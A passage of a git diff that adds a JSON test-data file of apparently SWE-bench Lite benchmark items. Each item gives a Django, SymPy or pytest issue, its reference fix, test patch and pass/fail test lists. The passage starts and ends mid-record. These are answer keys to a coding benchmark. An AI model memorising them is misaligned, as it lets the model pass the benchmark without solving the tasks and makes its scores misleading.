pixel_array.flatten().tobytes()\r\n\r\nnp.array_equal(ds.pixel_array, pixel_array)\r\n```\n", "task_id": "pydicom__pydicom-1458"}] \ No newline at end of file diff --git a/tests/test_data/data_sources/swe-bench-lite-test.json b/tests/test_data/data_sources/swe-bench-lite-test.json new file mode 100644 index 0000000..30259c0 --- /dev/null +++ b/tests/test_data/data_sources/swe-bench-lite-test.json @@ -0,0 +1 @@ +[{"repo": "django/django", "instance_id": "django__django-16255", "base_commit": "444b6da7cc229a58a2c476a52e45233001dc7073", "patch": "diff --git a/django/contrib/sitemaps/__init__.py b/django/contrib/sitemaps/__init__.py\n--- a/django/contrib/sitemaps/__init__.py\n+++ b/django/contrib/sitemaps/__init__.py\n@@ -167,7 +167,7 @@ def get_latest_lastmod(self):\n return None\n if callable(self.lastmod):\n try:\n- return max([self.lastmod(item) for item in self.items()])\n+ return max([self.lastmod(item) for item in self.items()], default=None)\n except TypeError:\n return None\n else:\n", "test_patch": "diff --git a/tests/sitemaps_tests/test_http.py b/tests/sitemaps_tests/test_http.py\n--- a/tests/sitemaps_tests/test_http.py\n+++ b/tests/sitemaps_tests/test_http.py\n@@ -507,6 +507,16 @@ def test_callable_sitemod_full(self):\n self.assertXMLEqual(index_response.content.decode(), expected_content_index)\n self.assertXMLEqual(sitemap_response.content.decode(), expected_content_sitemap)\n \n+ def test_callable_sitemod_no_items(self):\n+ index_response = self.client.get(\"/callable-lastmod-no-items/index.xml\")\n+ self.assertNotIn(\"Last-Modified\", index_response)\n+ expected_content_index = \"\"\"\n+ \n+ http://example.com/simple/sitemap-callable-lastmod.xml\n+ \n+ \"\"\"\n+ self.assertXMLEqual(index_response.content.decode(), expected_content_index)\n+\n \n # RemovedInDjango50Warning\n class DeprecatedTests(SitemapTestsBase):\ndiff --git a/tests/sitemaps_tests/urls/http.py b/tests/sitemaps_tests/urls/http.py\n--- a/tests/sitemaps_tests/urls/http.py\n+++ b/tests/sitemaps_tests/urls/http.py\n@@ -114,6 +114,16 @@ def lastmod(self, obj):\n return obj.lastmod\n \n \n+class CallableLastmodNoItemsSitemap(Sitemap):\n+ location = \"/location/\"\n+\n+ def items(self):\n+ return []\n+\n+ def lastmod(self, obj):\n+ return obj.lastmod\n+\n+\n class GetLatestLastmodNoneSiteMap(Sitemap):\n changefreq = \"never\"\n priority = 0.5\n@@ -233,6 +243,10 @@ def testmodelview(request, id):\n \"callable-lastmod\": CallableLastmodFullSitemap,\n }\n \n+callable_lastmod_no_items_sitemap = {\n+ \"callable-lastmod\": CallableLastmodNoItemsSitemap,\n+}\n+\n urlpatterns = [\n path(\"simple/index.xml\", views.index, {\"sitemaps\": simple_sitemaps}),\n path(\"simple-paged/index.xml\", views.index, {\"sitemaps\": simple_sitemaps_paged}),\n@@ -417,6 +431,11 @@ def testmodelview(request, id):\n views.sitemap,\n {\"sitemaps\": callable_lastmod_full_sitemap},\n ),\n+ path(\n+ \"callable-lastmod-no-items/index.xml\",\n+ views.index,\n+ {\"sitemaps\": callable_lastmod_no_items_sitemap},\n+ ),\n path(\n \"generic-lastmod/index.xml\",\n views.index,\n", "problem_statement": "Sitemaps without items raise ValueError on callable lastmod.\nDescription\n\t\nWhen sitemap contains not items, but supports returning lastmod for an item, it fails with a ValueError:\nTraceback (most recent call last):\n File \"/usr/local/lib/python3.10/site-packages/django/core/handlers/exception.py\", line 55, in inner\n\tresponse = get_response(request)\n File \"/usr/local/lib/python3.10/site-packages/django/core/handlers/base.py\", line 197, in _get_response\n\tresponse = wrapped_callback(request, *callback_args, **callback_kwargs)\n File \"/usr/local/lib/python3.10/site-packages/django/utils/decorators.py\", line 133, in _wrapped_view\n\tresponse = view_func(request, *args, **kwargs)\n File \"/usr/local/lib/python3.10/site-packages/django/contrib/sitemaps/views.py\", line 34, in inner\n\tresponse = func(request, *args, **kwargs)\n File \"/usr/local/lib/python3.10/site-packages/django/contrib/sitemaps/views.py\", line 76, in index\n\tsite_lastmod = site.get_latest_lastmod()\n File \"/usr/local/lib/python3.10/site-packages/django/contrib/sitemaps/__init__.py\", line 170, in get_latest_lastmod\n\treturn max([self.lastmod(item) for item in self.items()])\nException Type: ValueError at /sitemap.xml\nException Value: max() arg is an empty sequence\nSomething like this might be a solution:\n\t def get_latest_lastmod(self):\n\t\t if not hasattr(self, \"lastmod\"):\n\t\t\t return None\n\t\t if callable(self.lastmod):\n\t\t\t try:\n\t\t\t\t return max([self.lastmod(item) for item in self.items()])\n-\t\t\texcept TypeError:\n+\t\t\texcept (TypeError, ValueError):\n\t\t\t\t return None\n\t\t else:\n\t\t\t return self.lastmod\n", "hints_text": "Thanks for the report.\nThe default argument of max() can be used.", "created_at": "2022-11-04T13:49:40Z", "version": "4.2", "FAIL_TO_PASS": ["test_callable_sitemod_no_items (sitemaps_tests.test_http.HTTPSitemapTests)"], "PASS_TO_PASS": ["A cached sitemap index can be rendered (#2713).", "A i18n sitemap index with limited languages can be rendered.", "A i18n sitemap index with x-default can be rendered.", "A i18n sitemap with alternate/hreflang links can be rendered.", "A simple i18n sitemap index can be rendered, without logging variable", "A simple sitemap can be rendered", "A simple sitemap can be rendered with a custom template", "A simple sitemap index can be rendered", "A simple sitemap index can be rendered with a custom template", "A simple sitemap section can be rendered", "A sitemap may have multiple pages.", "A sitemap may not be callable.", "All items in the sitemap have `lastmod`. The `Last-Modified` header", "Check to make sure that the raw item is included with each", "Check we get ImproperlyConfigured if we don't pass a site object to", "Check we get ImproperlyConfigured when we don't pass a site object to", "Last-Modified header is missing when sitemap has no lastmod", "Last-Modified header is omitted when lastmod not on all items", "Last-Modified header is set correctly", "Not all items have `lastmod`. Therefore the `Last-Modified` header", "The Last-Modified header is omitted when lastmod isn't found in all", "The Last-Modified header is set to the most recent sitemap lastmod.", "The Last-Modified header should be converted from timezone aware dates", "The Last-Modified header should be support dates (without time).", "The priority value should not be localized.", "lastmod datestamp shows timezones if Sitemap.get_latest_lastmod", "sitemapindex.lastmod is included when Sitemap.lastmod is", "sitemapindex.lastmod is omitted when Sitemap.lastmod is", "test_empty_page (sitemaps_tests.test_http.HTTPSitemapTests)", "test_empty_sitemap (sitemaps_tests.test_http.HTTPSitemapTests)", "test_no_section (sitemaps_tests.test_http.HTTPSitemapTests)", "test_page_not_int (sitemaps_tests.test_http.HTTPSitemapTests)", "test_requestsite_sitemap (sitemaps_tests.test_http.HTTPSitemapTests)", "test_simple_sitemap_custom_index_warning (sitemaps_tests.test_http.DeprecatedTests)", "test_sitemap_without_entries (sitemaps_tests.test_http.HTTPSitemapTests)", "test_x_robots_sitemap (sitemaps_tests.test_http.HTTPSitemapTests)"], "environment_setup_commit": "0fbdb9784da915fce5dcc1fe82bac9b4785749e5"}, {"repo": "sympy/sympy", "instance_id": "sympy__sympy-13031", "base_commit": "2dfa7457f20ee187fbb09b5b6a1631da4458388c", "patch": "diff --git a/sympy/matrices/sparse.py b/sympy/matrices/sparse.py\n--- a/sympy/matrices/sparse.py\n+++ b/sympy/matrices/sparse.py\n@@ -985,8 +985,10 @@ def col_join(self, other):\n >>> C == A.row_insert(A.rows, Matrix(B))\n True\n \"\"\"\n- if not self:\n- return type(self)(other)\n+ # A null matrix can always be stacked (see #10770)\n+ if self.rows == 0 and self.cols != other.cols:\n+ return self._new(0, other.cols, []).col_join(other)\n+\n A, B = self, other\n if not A.cols == B.cols:\n raise ShapeError()\n@@ -1191,8 +1193,10 @@ def row_join(self, other):\n >>> C == A.col_insert(A.cols, B)\n True\n \"\"\"\n- if not self:\n- return type(self)(other)\n+ # A null matrix can always be stacked (see #10770)\n+ if self.cols == 0 and self.rows != other.rows:\n+ return self._new(other.rows, 0, []).row_join(other)\n+\n A, B = self, other\n if not A.rows == B.rows:\n raise ShapeError()\n", "test_patch": "diff --git a/sympy/matrices/tests/test_sparse.py b/sympy/matrices/tests/test_sparse.py\n--- a/sympy/matrices/tests/test_sparse.py\n+++ b/sympy/matrices/tests/test_sparse.py\n@@ -26,6 +26,12 @@ def sparse_zeros(n):\n assert type(a.row_join(b)) == type(a)\n assert type(a.col_join(b)) == type(a)\n \n+ # make sure 0 x n matrices get stacked correctly\n+ sparse_matrices = [SparseMatrix.zeros(0, n) for n in range(4)]\n+ assert SparseMatrix.hstack(*sparse_matrices) == Matrix(0, 6, [])\n+ sparse_matrices = [SparseMatrix.zeros(n, 0) for n in range(4)]\n+ assert SparseMatrix.vstack(*sparse_matrices) == Matrix(6, 0, [])\n+\n # test element assignment\n a = SparseMatrix((\n (1, 0),\n", "problem_statement": "Behavior of Matrix hstack and vstack changed in sympy 1.1\nIn sympy 1.0:\r\n```\r\nimport sympy as sy\r\nM1 = sy.Matrix.zeros(0, 0)\r\nM2 = sy.Matrix.zeros(0, 1)\r\nM3 = sy.Matrix.zeros(0, 2)\r\nM4 = sy.Matrix.zeros(0, 3)\r\nsy.Matrix.hstack(M1, M2, M3, M4).shape\r\n```\r\nreturns \r\n`(0, 6)`\r\n\r\nNow, same in sympy 1.1:\r\n```\r\nimport sympy as sy\r\nM1 = sy.Matrix.zeros(0, 0)\r\nM2 = sy.Matrix.zeros(0, 1)\r\nM3 = sy.Matrix.zeros(0, 2)\r\nM4 = sy.Matrix.zeros(0, 3)\r\nsy.Matrix.hstack(M1, M2, M3, M4).shape\r\n```\r\nreturns\r\n`(0, 3)\r\n`\r\nwhereas:\r\n```\r\nimport sympy as sy\r\nM1 = sy.Matrix.zeros(1, 0)\r\nM2 = sy.Matrix.zeros(1, 1)\r\nM3 = sy.Matrix.zeros(1, 2)\r\nM4 = sy.Matrix.zeros(1, 3)\r\nsy.Matrix.hstack(M1, M2, M3, M4).shape\r\n```\r\nreturns\r\n`(1, 6)\r\n`\n", "hints_text": "CC @siefkenj \nI update my comment in case someone already read it. We still have an issue with matrices shape in [pyphs](https://github.com/pyphs/pyphs/issues/49#issuecomment-316618994), but hstack and vstack seem ok in sympy 1.1.1rc1:\r\n\r\n```\r\n>>> import sympy as sy\r\n>>> sy.__version__\r\n'1.1.1rc1'\r\n>>> '1.1.1rc1'\r\n'1.1.1rc1'\r\n>>> matrices = [sy.Matrix.zeros(0, n) for n in range(4)]\r\n>>> sy.Matrix.hstack(*matrices).shape\r\n(0, 6)\r\n>>> matrices = [sy.Matrix.zeros(1, n) for n in range(4)]\r\n>>> sy.Matrix.hstack(*matrices).shape\r\n(1, 6)\r\n>>> matrices = [sy.Matrix.zeros(n, 0) for n in range(4)]\r\n>>> sy.Matrix.vstack(*matrices).shape\r\n(6, 0)\r\n>>> matrices = [sy.Matrix.zeros(1, n) for n in range(4)]\r\n>>> sy.Matrix.hstack(*matrices).shape\r\n(1, 6)\r\n>>> \r\n```\nThe problem is solved with Matrix but not SparseMatrix:\r\n```\r\n>>> import sympy as sy\r\n>>> sy.__version__\r\n'1.1.1rc1'\r\n>>> matrices = [Matrix.zeros(0, n) for n in range(4)]\r\n>>> Matrix.hstack(*matrices)\r\nMatrix(0, 6, [])\r\n>>> sparse_matrices = [SparseMatrix.zeros(0, n) for n in range(4)]\r\n>>> SparseMatrix.hstack(*sparse_matrices)\r\nMatrix(0, 3, [])\r\n>>> \r\n```\nBisected to 27e9ee425819fa09a4cbb8179fb38939cc693249. Should we revert that commit? CC @aravindkanna\nAny thoughts? This is the last fix to potentially go in the 1.1.1 release, but I want to cut a release candidate today or tomorrow, so speak now, or hold your peace (until the next major release).\nI am away at a conference. The change should be almost identical to the fix for dense matrices, if someone can manage to get a patch in. I *might* be able to do it tomorrow.\nOkay. I've looked this over and its convoluted...\r\n\r\n`SparseMatrix` should impliment `_eval_col_join`. `col_join` should not be implemented. It is, and that is what `hstack` is calling, which is why my previous patch didn't fix `SparseMatrix`s as well. However, the patch that @asmeurer referenced ensures that `SparseMatrix.row_join(DenseMatrix)` returns a `SparseMatrix` whereas `CommonMatrix.row_join(SparseMatrix, DenseMatrix)` returns a `classof(SparseMatrix, DenseMatrix)` which happens to be a `DenseMatrix`. I don't think that these should behave differently. This API needs to be better thought out.\nSo is there a simple fix that can be made for the release or should this be postponed?", "created_at": "2017-07-23T15:48:13Z", "version": "1.1", "FAIL_TO_PASS": ["test_sparse_matrix"], "PASS_TO_PASS": ["test_CL_RL", "test_add", "test_copyin", "test_errors", "test_len", "test_sparse_solve", "test_sparse_zeros_sparse_eye", "test_trace", "test_transpose"], "environment_setup_commit": "ec9e3c0436fbff934fa84e22bf07f1b3ef5bfac3"}, {"repo": "pytest-dev/pytest", "instance_id": "pytest-dev__pytest-11143", "base_commit": "6995257cf470d2143ad1683824962de4071c0eb7", "patch": "diff --git a/src/_pytest/assertion/rewrite.py b/src/_pytest/assertion/rewrite.py\n--- a/src/_pytest/assertion/rewrite.py\n+++ b/src/_pytest/assertion/rewrite.py\n@@ -676,6 +676,7 @@ def run(self, mod: ast.Module) -> None:\n expect_docstring\n and isinstance(item, ast.Expr)\n and isinstance(item.value, ast.Constant)\n+ and isinstance(item.value.value, str)\n ):\n doc = item.value.value\n if self.is_rewrite_disabled(doc):\n", "test_patch": "diff --git a/testing/test_assertrewrite.py b/testing/test_assertrewrite.py\n--- a/testing/test_assertrewrite.py\n+++ b/testing/test_assertrewrite.py\n@@ -2042,3 +2042,17 @@ def test_max_increased_verbosity(self, pytester: Pytester) -> None:\n self.create_test_file(pytester, DEFAULT_REPR_MAX_SIZE * 10)\n result = pytester.runpytest(\"-vv\")\n result.stdout.no_fnmatch_line(\"*xxx...xxx*\")\n+\n+\n+class TestIssue11140:\n+ def test_constant_not_picked_as_module_docstring(self, pytester: Pytester) -> None:\n+ pytester.makepyfile(\n+ \"\"\"\\\n+ 0\n+\n+ def test_foo():\n+ pass\n+ \"\"\"\n+ )\n+ result = pytester.runpytest()\n+ assert result.ret == 0\n", "problem_statement": "Rewrite fails when first expression of file is a number and mistaken as docstring \n\r\n\r\n- [x] a detailed description of the bug or problem you are having\r\n- [x] output of `pip list` from the virtual environment you are using\r\n- [x] pytest and operating system versions\r\n- [x] minimal example if possible\r\n```\r\nInstalling collected packages: zipp, six, PyYAML, python-dateutil, MarkupSafe, importlib-metadata, watchdog, tomli, soupsieve, pyyaml-env-tag, pycparser, pluggy, packaging, mergedeep, Markdown, jinja2, iniconfig, ghp-import, exceptiongroup, click, websockets, urllib3, tqdm, smmap, pytest, pyee, mkdocs, lxml, importlib-resources, idna, cssselect, charset-normalizer, cffi, certifi, beautifulsoup4, attrs, appdirs, w3lib, typing-extensions, texttable, requests, pyzstd, pytest-metadata, pyquery, pyppmd, pyppeteer, pynacl, pymdown-extensions, pycryptodomex, pybcj, pyasn1, py, psutil, parse, multivolumefile, mkdocs-autorefs, inflate64, gitdb, fake-useragent, cryptography, comtypes, bs4, brotli, bcrypt, allure-python-commons, xlwt, xlrd, rsa, requests-html, pywinauto, python-i18n, python-dotenv, pytest-rerunfailures, pytest-html, pytest-check, PySocks, py7zr, paramiko, mkdocstrings, loguru, GitPython, ftputil, crcmod, chardet, brotlicffi, allure-pytest\r\nSuccessfully installed GitPython-3.1.31 Markdown-3.3.7 MarkupSafe-2.1.3 PySocks-1.7.1 PyYAML-6.0 allure-pytest-2.13.2 allure-python-commons-2.13.2 appdirs-1.4.4 attrs-23.1.0 bcrypt-4.0.1 beautifulsoup4-4.12.2 brotli-1.0.9 brotlicffi-1.0.9.2 bs4-0.0.1 certifi-2023.5.7 cffi-1.15.1 chardet-5.1.0 charset-normalizer-3.1.0 click-8.1.3 comtypes-1.2.0 crcmod-1.7 cryptography-41.0.1 cssselect-1.2.0 exceptiongroup-1.1.1 fake-useragent-1.1.3 ftputil-5.0.4 ghp-import-2.1.0 gitdb-4.0.10 idna-3.4 importlib-metadata-6.7.0 importlib-resources-5.12.0 inflate64-0.3.1 iniconfig-2.0.0 jinja2-3.1.2 loguru-0.7.0 lxml-4.9.2 mergedeep-1.3.4 mkdocs-1.4.3 mkdocs-autorefs-0.4.1 mkdocstrings-0.22.0 multivolumefile-0.2.3 packaging-23.1 paramiko-3.2.0 parse-1.19.1 pluggy-1.2.0 psutil-5.9.5 py-1.11.0 py7zr-0.20.5 pyasn1-0.5.0 pybcj-1.0.1 pycparser-2.21 pycryptodomex-3.18.0 pyee-8.2.2 pymdown-extensions-10.0.1 pynacl-1.5.0 pyppeteer-1.0.2 pyppmd-1.0.0 pyquery-2.0.0 pytest-7.4.0 pytest-check-2.1.5 pytest-html-3.2.0 pytest-metadata-3.0.0 pytest-rerunfailures-11.1.2 python-dateutil-2.8.2 python-dotenv-1.0.0 python-i18n-0.3.9 pywinauto-0.6.6 pyyaml-env-tag-0.1 pyzstd-0.15.9 requests-2.31.0 requests-html-0.10.0 rsa-4.9 six-1.16.0 smmap-5.0.0 soupsieve-2.4.1 texttable-1.6.7 tomli-2.0.1 tqdm-4.65.0 typing-extensions-4.6.3 urllib3-1.26.16 w3lib-2.1.1 watchdog-3.0.0 websockets-10.4 xlrd-2.0.1 xlwt-1.3.0 zipp-3.15.0\r\n```\r\nuse `pytest -k xxx`\uff0c report an error\uff1a`TypeError: argument of type 'int' is not iterable`\r\n\r\nit seems a error in collecting testcase\r\n```\r\n==================================== ERRORS ====================================\r\n_ ERROR collecting testcases/\u57fa\u7ebf/\u4ee3\u7406\u7b56\u7565/SOCKS\u4e8c\u7ea7\u4ee3\u7406\u8fed\u4ee3\u4e8c/\u5728\u7ebf\u7528\u6237/\u5728\u7ebf\u7528\u6237\u66f4\u65b0/\u4e0a\u7ebf\u7528\u6237/test_socks_user_011.py _\r\n/usr/local/lib/python3.8/site-packages/_pytest/runner.py:341: in from_call\r\n result: Optional[TResult] = func()\r\n/usr/local/lib/python3.8/site-packages/_pytest/runner.py:372: in \r\n call = CallInfo.from_call(lambda: list(collector.collect()), \"collect\")\r\n/usr/local/lib/python3.8/site-packages/_pytest/python.py:531: in collect\r\n self._inject_setup_module_fixture()\r\n/usr/local/lib/python3.8/site-packages/_pytest/python.py:545: in _inject_setup_module_fixture\r\n self.obj, (\"setUpModule\", \"setup_module\")\r\n/usr/local/lib/python3.8/site-packages/_pytest/python.py:310: in obj\r\n self._obj = obj = self._getobj()\r\n/usr/local/lib/python3.8/site-packages/_pytest/python.py:528: in _getobj\r\n return self._importtestmodule()\r\n/usr/local/lib/python3.8/site-packages/_pytest/python.py:617: in _importtestmodule\r\n mod = import_path(self.path, mode=importmode, root=self.config.rootpath)\r\n/usr/local/lib/python3.8/site-packages/_pytest/pathlib.py:565: in import_path\r\n importlib.import_module(module_name)\r\n/usr/local/lib/python3.8/importlib/__init__.py:127: in import_module\r\n return _bootstrap._gcd_import(name[level:], package, level)\r\n:1014: in _gcd_import\r\n ???\r\n:991: in _find_and_load\r\n ???\r\n:975: in _find_and_load_unlocked\r\n ???\r\n:671: in _load_unlocked\r\n ???\r\n/usr/local/lib/python3.8/site-packages/_pytest/assertion/rewrite.py:169: in exec_module\r\n source_stat, co = _rewrite_test(fn, self.config)\r\n/usr/local/lib/python3.8/site-packages/_pytest/assertion/rewrite.py:352: in _rewrite_test\r\n rewrite_asserts(tree, source, strfn, config)\r\n/usr/local/lib/python3.8/site-packages/_pytest/assertion/rewrite.py:413: in rewrite_asserts\r\n AssertionRewriter(module_path, config, source).run(mod)\r\n/usr/local/lib/python3.8/site-packages/_pytest/assertion/rewrite.py:695: in run\r\n if self.is_rewrite_disabled(doc):\r\n/usr/local/lib/python3.8/site-packages/_pytest/assertion/rewrite.py:760: in is_rewrite_disabled\r\n return \"PYTEST_DONT_REWRITE\" in docstring\r\nE TypeError: argument of type 'int' is not iterable\r\n```\n", "hints_text": "more details are needed - based on the exception, the docstring is a integer, that seems completely wrong\nI run it pass lasttime in 2023-6-20 17:07:23. it run in docker and install newest pytest before run testcase everytime . maybe some commit cause it recently. \r\nI run it can pass in 7.2.0 a few minutes ago.\r\n\r\n`pytest ini`\r\n```\r\n[pytest]\r\nlog_cli = false\r\nlog_cli_level = debug\r\nlog_cli_format = %(asctime)s %(levelname)s %(message)s\r\nlog_cli_date_format = %Y-%m-%d %H:%M:%S\r\n\r\naddopts = -v -s\r\n\r\nfilterwarnings =\r\n ignore::UserWarning\r\n\r\nmarkers=\r\n case_id: mark test id to upload on tp\r\n case_level_bvt: testcase level bvt\r\n case_level_1: testcase level level 1\r\n case_level_2: testcase level level 2\r\n case_level_3: testcase level level 3\r\n case_status_pass: mark case as PASS\r\n case_status_fail: mark case as FAILED\r\n case_status_not_finish: mark case as CODEING\r\n case_status_not_run: mark case as FINISH\r\n case_not_run: mark case as DONT RUN\r\n run_env: mark run this case on which environment\r\n ```\r\n \r\n`testcase:`\r\n```\r\n@pytest.fixture(autouse=True)\r\ndef default_setup_teardown():\r\n xxxx\r\n\r\n@allure.feature(\"\u521d\u59cb\u72b6\u6001\")\r\nclass TestDefauleName:\r\n @allure.title(\"\u4e0a\u7ebf\u4e00\u4e2a\u57df\u7528\u6237\uff0c\u7528\u6237\u540d\u548c\u7ec4\u540d\u6b63\u786e\")\r\n @pytest.mark.case_level_1\r\n @pytest.mark.case_id(\"tc_proxyheard_insert_011\")\r\n def test_tc_proxyheard_insert_011(self):\r\n xxxx\r\n ```\nthanks for the update\r\n\r\ni took the liberty to edit your comments to use markdown code blocks for ease of reading\r\n\r\nfrom the given information the problem is still unclear\r\n\r\nplease try running with `--assert=plain` for verification\r\n\r\nthe error indicates that the python ast parser somehow ends up with a integer as the docstring for `test_socks_user_011.py` the reason is still unclear based on the redacted information\nI run with --assert=plain and it has passed\r\n\r\npython3 -m pytest -k helloworld --assert=plain\r\n```\r\ntestcases/smoke_testcase/test_helloworld.py::TestGuardProcess::test_hello_world 2023-06-25 08:54:17.659 | INFO | NAC_AIO.testcases.smoke_testcase.test_helloworld:test_hello_world:15 - Great! Frame Work is working\r\nPASSED\r\ntotal: 1648\r\npassed: 1\r\nfailed: 0\r\nerror: 0\r\npass_rate 100.00%\r\n\r\n================================================================================= 1 passed, 1647 deselected in 12.28s =================================================================================\r\n```\nIt seems to me that we have a potential bug in the ast transformer where's in case the first expression of a file is a integer, we mistake it as a docstring\n\nCan you verify the first expression in the file that fails?\nyou are right this file first expression is a 0 . It can pass after I delete it \r\nthank you!\nMinimal reproducer:\r\n\r\n```python\r\n0\r\n```\r\n\r\n(yes, just that, in a .py file)", "created_at": "2023-06-26T06:44:43Z", "version": "8.0", "FAIL_TO_PASS": ["testing/test_assertrewrite.py::TestIssue11140::test_constant_not_picked_as_module_docstring"], "PASS_TO_PASS": ["testing/test_assertrewrite.py::TestAssertionPass::test_hook_call", "testing/test_assertrewrite.py::TestAssertionPass::test_hook_call_with_parens", "testing/test_assertrewrite.py::TestAssertionPass::test_hook_not_called_without_cmd_option", "testing/test_assertrewrite.py::TestAssertionPass::test_hook_not_called_without_hookimpl", "testing/test_assertrewrite.py::TestAssertionPass::test_option_default", "testing/test_assertrewrite.py::TestAssertionRewrite::test_assert_already_has_message", "testing/test_assertrewrite.py::TestAssertionRewrite::test_assert_raising__bool__in_comparison", "testing/test_assertrewrite.py::TestAssertionRewrite::test_assertion_message", "testing/test_assertrewrite.py::TestAssertionRewrite::test_assertion_message_escape", "testing/test_assertrewrite.py::TestAssertionRewrite::test_assertion_message_expr", "testing/test_assertrewrite.py::TestAssertionRewrite::test_assertion_message_multiline", "testing/test_assertrewrite.py::TestAssertionRewrite::test_assertion_message_tuple", "testing/test_assertrewrite.py::TestAssertionRewrite::test_assertion_messages_bytes", "testing/test_assertrewrite.py::TestAssertionRewrite::test_assertrepr_compare_same_width", "testing/test_assertrewrite.py::TestAssertionRewrite::test_at_operator_issue1290", "testing/test_assertrewrite.py::TestAssertionRewrite::test_attribute", "testing/test_assertrewrite.py::TestAssertionRewrite::test_binary_op", "testing/test_assertrewrite.py::TestAssertionRewrite::test_boolop", "testing/test_assertrewrite.py::TestAssertionRewrite::test_boolop_percent", "testing/test_assertrewrite.py::TestAssertionRewrite::test_call", "testing/test_assertrewrite.py::TestAssertionRewrite::test_comparisons", "testing/test_assertrewrite.py::TestAssertionRewrite::test_custom_repr", "testing/test_assertrewrite.py::TestAssertionRewrite::test_custom_repr_non_ascii", "testing/test_assertrewrite.py::TestAssertionRewrite::test_custom_reprcompare", "testing/test_assertrewrite.py::TestAssertionRewrite::test_dont_rewrite", "testing/test_assertrewrite.py::TestAssertionRewrite::test_dont_rewrite_if_hasattr_fails", "testing/test_assertrewrite.py::TestAssertionRewrite::test_dont_rewrite_plugin", "testing/test_assertrewrite.py::TestAssertionRewrite::test_formatchar", "testing/test_assertrewrite.py::TestAssertionRewrite::test_honors_pep_235", "testing/test_assertrewrite.py::TestAssertionRewrite::test_len", "testing/test_assertrewrite.py::TestAssertionRewrite::test_location_is_set", "testing/test_assertrewrite.py::TestAssertionRewrite::test_name", "testing/test_assertrewrite.py::TestAssertionRewrite::test_place_initial_imports", "testing/test_assertrewrite.py::TestAssertionRewrite::test_rewrites_plugin_as_a_package", "testing/test_assertrewrite.py::TestAssertionRewrite::test_short_circuit_evaluation", "testing/test_assertrewrite.py::TestAssertionRewrite::test_starred_with_side_effect", "testing/test_assertrewrite.py::TestAssertionRewrite::test_unary_op", "testing/test_assertrewrite.py::TestAssertionRewriteHookDetails::test_get_data_support", "testing/test_assertrewrite.py::TestAssertionRewriteHookDetails::test_read_pyc", "testing/test_assertrewrite.py::TestAssertionRewriteHookDetails::test_read_pyc_more_invalid", "testing/test_assertrewrite.py::TestAssertionRewriteHookDetails::test_read_pyc_success", "testing/test_assertrewrite.py::TestAssertionRewriteHookDetails::test_reload_is_same_and_reloads", "testing/test_assertrewrite.py::TestAssertionRewriteHookDetails::test_resources_provider_for_loader", "testing/test_assertrewrite.py::TestAssertionRewriteHookDetails::test_sys_meta_path_munged", "testing/test_assertrewrite.py::TestAssertionRewriteHookDetails::test_write_pyc", "testing/test_assertrewrite.py::TestEarlyRewriteBailout::test_basic", "testing/test_assertrewrite.py::TestEarlyRewriteBailout::test_cwd_changed", "testing/test_assertrewrite.py::TestEarlyRewriteBailout::test_pattern_contains_subdirectories", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_inline_walrus_operator", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_inline_walrus_operator_reverse", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_walrus_no_variable_name_conflict", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_walrus_operator", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_walrus_operator_boolean_composite", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_walrus_operator_boolean_none_fails", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_walrus_operator_compare_boolean_fails", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_walrus_operator_dont_rewrite", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_walrus_operator_fail_assertion", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_walrus_operator_true_assertion_and_changes_variable_value", "testing/test_assertrewrite.py::TestIssue10743::test_assertion_walrus_operator_value_changes_cleared_after_each_test", "testing/test_assertrewrite.py::TestIssue11028::test_assertion_walrus_operator_equals_operand_function", "testing/test_assertrewrite.py::TestIssue11028::test_assertion_walrus_operator_equals_operand_function_arg_as_function", "testing/test_assertrewrite.py::TestIssue11028::test_assertion_walrus_operator_equals_operand_function_keyword_arg", "testing/test_assertrewrite.py::TestIssue11028::test_assertion_walrus_operator_gt_operand_function", "testing/test_assertrewrite.py::TestIssue11028::test_assertion_walrus_operator_in_operand", "testing/test_assertrewrite.py::TestIssue11028::test_assertion_walrus_operator_in_operand_json_dumps", "testing/test_assertrewrite.py::TestIssue2121::test_rewrite_python_files_contain_subdirs", "testing/test_assertrewrite.py::TestIssue925::test_long_case", "testing/test_assertrewrite.py::TestIssue925::test_many_brackets", "testing/test_assertrewrite.py::TestIssue925::test_simple_case", "testing/test_assertrewrite.py::TestPyCacheDir::test_get_cache_dir[/tmp/pycs-/home/projects/src/foo.py-/tmp/pycs/home/projects/src]", "testing/test_assertrewrite.py::TestPyCacheDir::test_get_cache_dir[None-/home/projects/src/foo.py-/home/projects/src/__pycache__]", "testing/test_assertrewrite.py::TestPyCacheDir::test_get_cache_dir[None-d:/projects/src/foo.py-d:/projects/src/__pycache__]", "testing/test_assertrewrite.py::TestPyCacheDir::test_get_cache_dir[c:/tmp/pycs-d:/projects/src/foo.py-c:/tmp/pycs/projects/src]", "testing/test_assertrewrite.py::TestPyCacheDir::test_sys_pycache_prefix_integration", "testing/test_assertrewrite.py::TestReprSizeVerbosity::test_default_verbosity", "testing/test_assertrewrite.py::TestReprSizeVerbosity::test_get_maxsize_for_saferepr[0-240]", "testing/test_assertrewrite.py::TestReprSizeVerbosity::test_get_maxsize_for_saferepr[1-2400]", "testing/test_assertrewrite.py::TestReprSizeVerbosity::test_get_maxsize_for_saferepr[2-None]", "testing/test_assertrewrite.py::TestReprSizeVerbosity::test_get_maxsize_for_saferepr[3-None]", "testing/test_assertrewrite.py::TestReprSizeVerbosity::test_increased_verbosity", "testing/test_assertrewrite.py::TestReprSizeVerbosity::test_max_increased_verbosity", "testing/test_assertrewrite.py::TestRewriteOnImport::test_cached_pyc_includes_pytest_version", "testing/test_assertrewrite.py::TestRewriteOnImport::test_dont_write_bytecode", "testing/test_assertrewrite.py::TestRewriteOnImport::test_load_resource_via_files_with_rewrite", "testing/test_assertrewrite.py::TestRewriteOnImport::test_orphaned_pyc_file", "testing/test_assertrewrite.py::TestRewriteOnImport::test_package", "testing/test_assertrewrite.py::TestRewriteOnImport::test_package_without__init__py", "testing/test_assertrewrite.py::TestRewriteOnImport::test_pyc_vs_pyo", "testing/test_assertrewrite.py::TestRewriteOnImport::test_pycache_is_a_file", "testing/test_assertrewrite.py::TestRewriteOnImport::test_pycache_is_readonly", "testing/test_assertrewrite.py::TestRewriteOnImport::test_readonly", 